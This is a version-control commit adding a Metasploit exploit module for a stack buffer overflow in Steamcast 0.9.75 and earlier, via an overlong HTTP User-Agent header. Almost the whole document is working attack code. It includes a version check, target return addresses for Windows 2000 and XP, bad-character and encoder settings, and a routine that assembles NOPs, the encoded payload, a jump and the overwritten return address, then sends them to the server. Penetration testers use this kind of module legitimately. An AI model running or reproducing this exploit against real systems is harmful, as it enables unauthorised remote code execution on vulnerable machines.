Added exploit module streamcast_useragent.rb from LSO.

git-svn-id: file:///home/svn/framework3/trunk@6254 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/windows/http/streamcast_useragent.rb

@@ -0,0 +1,95 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to 
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/projects/Framework/
+##
+
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+
+	include Msf::Exploit::Remote::Tcp
+
+	def initialize(info = {})
+		super(update_info(info,	
+			'Name'           => 'Steamcast <= 0.9.75 HTTP User-Agent Buffer Overflow',
+			'Description'    => %q{
+					This module exploits a stack overflow in Steamcast <= 0.9.75. By sending
+					an overly long User-Agent in a HTTP GET request, an attacker may be able to
+					execute arbitrary code.
+			},
+			'Author'         => 	[
+								'LSO <lso[@]hushmail.com>', # Original exploit module
+								'patrick' # Added references and check code. Default target to XP.
+							],
+			'License'        => BSD_LICENSE,
+			'Version'        => '$Revision$',
+			'References'     =>
+				[
+					[ 'OSVDB', '42670' ],
+					[ 'CVE', '2008-0550' ],
+					[ 'URL', 'http://aluigi.altervista.org/adv/steamcazz-adv.txt'],
+					# [ 'BID', '' ], # No entry as yet
+				],
+			'Privileged'     => false,  
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'thread',
+				},
+			'Payload'        =>
+				{
+					'Space'    => 750,
+					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
+					'StackAdjustment' => -3500,
+					'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
+					'DisableNops'  =>  'True',
+				},
+			'Platform'       => 'win',
+			'Targets'        => 
+				[
+					# Tested OK by patrick 20090225
+					[ 'Windows 2000 Pro English All', { 'Ret' => 0x75022ac4 } ],
+					[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
+				],
+			'DisclosureDate' => 'Jan 24 2008',
+			'DefaultTarget' => 1))
+
+			register_options([ Opt::RPORT(8000) ], self)		
+	end
+
+	def check
+		connect
+		sock.put("GET / HTTP/1.0\r\n\r\n")
+		res = sock.get(3, -1)
+		disconnect
+
+		if (res =~ /Steamcast\/0.9.75/)
+			return Exploit::CheckCode::Vulnerable
+		end
+		return Exploit::CheckCode::Safe
+	end
+
+	def exploit
+		connect
+
+		juju =  "GET / HTTP/1.0\r\n"
+		juju << "User-Agent: " + make_nops(1008 - payload.encoded.length) 
+		juju << payload.encoded + Rex::Arch::X86.jmp_short(6) + make_nops(2) 
+		juju << [ target.ret ].pack('V') + [0xe8, -850].pack('CV') 
+		juju <<  rand_text_alpha_upper(275)
+
+		print_status("Trying target #{target.name}...")
+		sock.put(juju + "\r\n\r\n")
+
+		handler
+		disconnect
+	end
+
+end
+